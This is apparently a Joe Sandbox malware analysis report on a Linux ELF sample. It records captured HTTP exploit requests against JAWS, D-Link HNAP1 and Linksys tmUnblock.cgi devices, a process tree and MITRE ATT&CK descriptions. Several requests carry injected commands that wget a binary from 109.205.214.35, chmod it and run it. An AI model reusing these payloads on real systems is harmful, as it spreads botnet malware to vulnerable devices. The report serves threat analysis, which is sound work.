Mar 21, 2024 05:23:51.829411983 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2315	192.168.2.13	34740	95.31.220.209	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:52.388137102 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2316	192.168.2.13	58460	5.197.27.183	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:52.389691114 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2317	192.168.2.13	33730	45.223.2.119	8081

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:52.622452021 CET	763	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2318	192.168.2.13	47364	13.38.156.84	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:52.688255072 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2319	192.168.2.13	38970	72.130.113.33	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:52.934448004 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

System Behavior

Analysis Process: AFWaD3vnqR.elf PID: 5432, Parent PID: 5358

General

Start time (UTC):	04:21:46
Start date (UTC):	21/03/2024
Path:	/tmp/AFWaD3vnqR.elf
Arguments:	/tmp/AFWaD3vnqR.elf
File size:	122848 bytes
MD5 hash:	d86f1705e5e8b6dd204b285b9b5bdb68

Start time (UTC):	04:21:46
Start date (UTC):	21/03/2024
Path:	/tmp/AFWaD3vnqR.elf
Arguments:	-
File size:	122848 bytes
MD5 hash:	d86f1705e5e8b6dd204b285b9b5bdb68

Start time (UTC):	04:21:46
Start date (UTC):	21/03/2024
Path:	/bin/sh
Arguments:	sh -c "rm -rf usr/bin && mkdir usr; >usr/bin && mv /tmp/AFWaD3vnqR.elf usr/bin; chmod 777 usr/bin"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:21:46
Start date (UTC):	21/03/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:21:46
Start date (UTC):	21/03/2024
Path:	/usr/bin/rm
Arguments:	rm -rf usr/bin
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Start time (UTC):	04:21:46
Start date (UTC):	21/03/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:21:46
Start date (UTC):	21/03/2024
Path:	/usr/bin/mkdir
Arguments:	mkdir usr
File size:	88408 bytes
MD5 hash:	088c9d1df5a28ed16c726eca15964cb7

Start time (UTC):	04:21:46
Start date (UTC):	21/03/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:21:46
Start date (UTC):	21/03/2024
Path:	/usr/bin/mv
Arguments:	mv /tmp/AFWaD3vnqR.elf usr/bin
File size:	149888 bytes
MD5 hash:	504f0590fa482d4da070a702260e3716

Start time (UTC):	04:21:46
Start date (UTC):	21/03/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:21:46
Start date (UTC):	21/03/2024
Path:	/usr/bin/chmod
Arguments:	chmod 777 usr/bin
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

Start time (UTC):	04:21:46
Start date (UTC):	21/03/2024
Path:	/tmp/AFWaD3vnqR.elf
Arguments:	-
File size:	122848 bytes
MD5 hash:	d86f1705e5e8b6dd204b285b9b5bdb68

Start time (UTC):	04:21:46
Start date (UTC):	21/03/2024
Path:	/tmp/AFWaD3vnqR.elf
Arguments:	-
File size:	122848 bytes
MD5 hash:	d86f1705e5e8b6dd204b285b9b5bdb68

Analysis Process: AFWaD3vnqR.elf PID: 5440, Parent PID: 5438

General

Start time (UTC):	04:21:46
Start date (UTC):	21/03/2024
Path:	/tmp/AFWaD3vnqR.elf
Arguments:	-
File size:	122848 bytes
MD5 hash:	d86f1705e5e8b6dd204b285b9b5bdb68

Analysis Process: AFWaD3vnqR.elf PID: 5442, Parent PID: 5438

General

Start time (UTC):	04:21:46
Start date (UTC):	21/03/2024
Path:	/tmp/AFWaD3vnqR.elf
Arguments:	-
File size:	122848 bytes
MD5 hash:	d86f1705e5e8b6dd204b285b9b5bdb68

Analysis Process: AFWaD3vnqR.elf PID: 5443, Parent PID: 5438

General

Start time (UTC):	04:21:46
Start date (UTC):	21/03/2024
Path:	/tmp/AFWaD3vnqR.elf
Arguments:	-
File size:	122848 bytes
MD5 hash:	d86f1705e5e8b6dd204b285b9b5bdb68

Analysis Process: AFWaD3vnqR.elf PID: 5444, Parent PID: 5438

General

Start time (UTC):	04:21:46
Start date (UTC):	21/03/2024
Path:	/tmp/AFWaD3vnqR.elf
Arguments:	-
File size:	122848 bytes
MD5 hash:	d86f1705e5e8b6dd204b285b9b5bdb68

Analysis Process: AFWaD3vnqR.elf PID: 5445, Parent PID: 5438

General

Start time (UTC):	04:21:46
Start date (UTC):	21/03/2024
Path:	/tmp/AFWaD3vnqR.elf
Arguments:	-
File size:	122848 bytes
MD5 hash:	d86f1705e5e8b6dd204b285b9b5bdb68

Analysis Process: AFWaD3vnqR.elf PID: 5446, Parent PID: 5438

General

Start time (UTC):	04:21:46
Start date (UTC):	21/03/2024
Path:	/tmp/AFWaD3vnqR.elf
Arguments:	-
File size:	122848 bytes
MD5 hash:	d86f1705e5e8b6dd204b285b9b5bdb68

Analysis Process: AFWaD3vnqR.elf PID: 5447, Parent PID: 5438

General

Start time (UTC):	04:21:46
Start date (UTC):	21/03/2024
Path:	/tmp/AFWaD3vnqR.elf
Arguments:	-
File size:	122848 bytes
MD5 hash:	d86f1705e5e8b6dd204b285b9b5bdb68

Analysis Process: AFWaD3vnqR.elf PID: 5448, Parent PID: 5438

General

Start time (UTC):	04:21:46
Start date (UTC):	21/03/2024
Path:	/tmp/AFWaD3vnqR.elf
Arguments:	-
File size:	122848 bytes
MD5 hash:	d86f1705e5e8b6dd204b285b9b5bdb68

Analysis Process: AFWaD3vnqR.elf PID: 5449, Parent PID: 5438

General

Start time (UTC):	04:21:46
Start date (UTC):	21/03/2024
Path:	/tmp/AFWaD3vnqR.elf
Arguments:	-
File size:	122848 bytes
MD5 hash:	d86f1705e5e8b6dd204b285b9b5bdb68

Analysis Process: AFWaD3vnqR.elf PID: 5450, Parent PID: 5438

General

Start time (UTC):	04:21:46
Start date (UTC):	21/03/2024
Path:	/tmp/AFWaD3vnqR.elf
Arguments:	-
File size:	122848 bytes
MD5 hash:	d86f1705e5e8b6dd204b285b9b5bdb68

Analysis Process: AFWaD3vnqR.elf PID: 5451, Parent PID: 5438

General

Start time (UTC):	04:21:46
Start date (UTC):	21/03/2024
Path:	/tmp/AFWaD3vnqR.elf
Arguments:	-
File size:	122848 bytes
MD5 hash:	d86f1705e5e8b6dd204b285b9b5bdb68

Analysis Process: AFWaD3vnqR.elf PID: 5452, Parent PID: 5438

General

Start time (UTC):	04:21:46
Start date (UTC):	21/03/2024
Path:	/tmp/AFWaD3vnqR.elf
Arguments:	-
File size:	122848 bytes
MD5 hash:	d86f1705e5e8b6dd204b285b9b5bdb68

Analysis Process: AFWaD3vnqR.elf PID: 5453, Parent PID: 5438

General

Start time (UTC):	04:21:46
Start date (UTC):	21/03/2024
Path:	/tmp/AFWaD3vnqR.elf
Arguments:	-
File size:	122848 bytes
MD5 hash:	d86f1705e5e8b6dd204b285b9b5bdb68

Analysis Process: AFWaD3vnqR.elf PID: 5454, Parent PID: 5438

General

Start time (UTC):	04:21:46
Start date (UTC):	21/03/2024
Path:	/tmp/AFWaD3vnqR.elf
Arguments:	-
File size:	122848 bytes
MD5 hash:	d86f1705e5e8b6dd204b285b9b5bdb68

Analysis Process: AFWaD3vnqR.elf PID: 5455, Parent PID: 5438

General

Start time (UTC):	04:21:46
Start date (UTC):	21/03/2024
Path:	/tmp/AFWaD3vnqR.elf
Arguments:	-
File size:	122848 bytes
MD5 hash:	d86f1705e5e8b6dd204b285b9b5bdb68

Analysis Process: AFWaD3vnqR.elf PID: 5456, Parent PID: 5438

General

Start time (UTC):	04:21:46
Start date (UTC):	21/03/2024
Path:	/tmp/AFWaD3vnqR.elf
Arguments:	-
File size:	122848 bytes
MD5 hash:	d86f1705e5e8b6dd204b285b9b5bdb68

Analysis Process: AFWaD3vnqR.elf PID: 5457, Parent PID: 5438

General

Start time (UTC):	04:21:46
Start date (UTC):	21/03/2024
Path:	/tmp/AFWaD3vnqR.elf
Arguments:	-
File size:	122848 bytes
MD5 hash:	d86f1705e5e8b6dd204b285b9b5bdb68

Analysis Process: AFWaD3vnqR.elf PID: 5458, Parent PID: 5438

General

Start time (UTC):	04:21:46
Start date (UTC):	21/03/2024
Path:	/tmp/AFWaD3vnqR.elf
Arguments:	-
File size:	122848 bytes
MD5 hash:	d86f1705e5e8b6dd204b285b9b5bdb68

Start time (UTC):	04:21:46
Start date (UTC):	21/03/2024
Path:	/tmp/AFWaD3vnqR.elf
Arguments:	-
File size:	122848 bytes
MD5 hash:	d86f1705e5e8b6dd204b285b9b5bdb68

Start time (UTC):	04:21:46
Start date (UTC):	21/03/2024
Path:	/tmp/AFWaD3vnqR.elf
Arguments:	-
File size:	122848 bytes
MD5 hash:	d86f1705e5e8b6dd204b285b9b5bdb68

Start time (UTC):	04:21:46
Start date (UTC):	21/03/2024
Path:	/usr/libexec/gnome-session-binary
Arguments:	-
File size:	334664 bytes
MD5 hash:	d9b90be4f7db60cb3c2d3da6a1d31bfb

Start time (UTC):	04:21:46
Start date (UTC):	21/03/2024
Path:	/bin/sh
Arguments:	/bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-housekeeping
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:21:46
Start date (UTC):	21/03/2024
Path:	/usr/libexec/gsd-housekeeping
Arguments:	/usr/libexec/gsd-housekeeping
File size:	51840 bytes
MD5 hash:	b55f3394a84976ddb92a2915e5d76914

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report AFWaD3vnqR.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

HTTP Packets

System Behavior

Analysis Process: AFWaD3vnqR.elf PID: 5432, Parent PID: 5358

General

Chronological Activities

Analysis Process: AFWaD3vnqR.elf PID: 5433, Parent PID: 5432

General

Chronological Activities

Analysis Process: sh PID: 5433, Parent PID: 5432

General

Chronological Activities

Analysis Process: sh PID: 5434, Parent PID: 5433

General

Chronological Activities

Analysis Process: rm PID: 5434, Parent PID: 5433

General

Chronological Activities

Linux Analysis Report
AFWaD3vnqR.elf